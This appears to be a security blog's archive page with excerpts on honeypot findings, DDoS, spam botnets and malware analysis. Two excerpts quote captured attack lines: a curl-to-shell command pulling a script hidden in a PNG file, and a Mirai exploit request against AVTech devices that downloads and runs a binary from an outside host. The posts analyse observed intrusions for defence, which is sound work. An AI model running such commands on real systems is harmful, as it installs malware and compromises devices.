Archive for the ‘Uncategorized’ Category

Perfectly synchronized dual portscanning

The other day while reviewing my fireplot graphs, I noticed (yet) another portscan. They’re not unusual. This one took around four and a half hour to complete, and covered a lot of TCP ports on one IPv4 address. That’s not unusual either. The curved graph shown below is caused by the plot’s logarithmic Y axis, […]

Honeypot intruders’ HTTP activity

One of my Cowrie honeypots has been configured to intercept various outbound connections, redirecting them into an INetSim honeypot offering corresponding services. When intruders think they’re making an outbound HTTPS connection, they only reach the INetSim server, where their attempts are registered and logged. When someone successfully logs in to the Cowrie honeypot, be it […]

Nagios or Icinga plugin for Mikrotik software and firmware version

When upgrading the software (RouterOS) on Mikrotik devices, you should usually also make sure the firmware (RouterBoot) is upgraded to the same level. In the devices’ various management interfaces including command line, the OS will tell you that there are outstanding firmware patches if you ask it, like this: /system routerboard print routerboard: yes current-firmware: […]

Updating wordlists from Elasticsearch

Among the many benefits of running a honeypot is gathering the credentials intruders try in order to log in. As explained in some earlier blog posts, my Cowrie honeypots are redirecting secondary connections to another honeypot running INetSim. For example, an intruder logged in to a Cowrie honeypot may use the established foothold to make […]

X-Forwarded-For DDoS

A discussion forum of one of Redpill Linpro‘s customers has been under attack lately, through a number of DoS and DDoS variants. Today’s attack strain was of the rather interesting kind, as one of its very distinctive identifiers was a suspicious, not to say ridiculous, amount of IP addresses in the incoming X-Forwarded-For HTTP header. […]

Control code usernames in telnet honeypot

By running a Cowrie honeypot, I’m gathering interesting information about various kinds of exploits, vulnerabilities, and botnets. Upon a discovery of a new Linux-based vulnerability – often targeting network routers, IoT devices, and lately many IP camera products – the botnets will usually come in waves, testing the new exploits. The honeypot logs everything the […]

Covert channels: Hiding shell scripts in PNG files

A colleague made me aware of a JBoss server having been compromised. Upon inspection, one of the processes run by the JBoss user account was this one: sh -c curl hxxp://img1.imagehousing.com/0/beauty-287196.png -k|dd skip=2446 bs=1|sh   This is a rather elegant way of disguising malicious code. If we first take a look at the png file: […]

Fake LinkedIn invites

Yet another fake LinkedIn invite landed in my inbox today. Just for the fun of it, I decided to dissect the fake invite. The first thing that caught my attention was the email’s subject: Add Me On LinkedIn. Normally, LinkedIn invite requests appear as polite and humble, this one not so much. Next was the […]

Yet another Mirai strain targeting AVTech devices

My Suricata IDS triggered on an HTTP request to my honeypot this morning: ET WEB_SERVER Suspicious Chmod Usage in URI   Further investigation revealed this incoming request: POST /cgi-bin/supervisor/CloudSetup.cgi?exefile=wget%20-O%20/tmp/Arm1%20http://172.247.x.y:85/Arm1;chmod%200777%20/tmp/Arm1;/tmp/Arm1 HTTP/1.1 Host: [redacted] Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.13.0 Content-Length: 0 Authorization: Basic YWRtaW46YWRtaW4=   The request seems to take advantage of a […]

Blocking bots from the Cutwail botnet

Recently I’ve seen an increase in mail spambots identifying with the EHLO string EHLO ylmf-pc. These belong to (or at least stem from) the Cutwail botnet, originally observed as early as 2007. The following table shows the number of attempts over the last two weeks. The numbers are not overwhelming for a private mail server, […]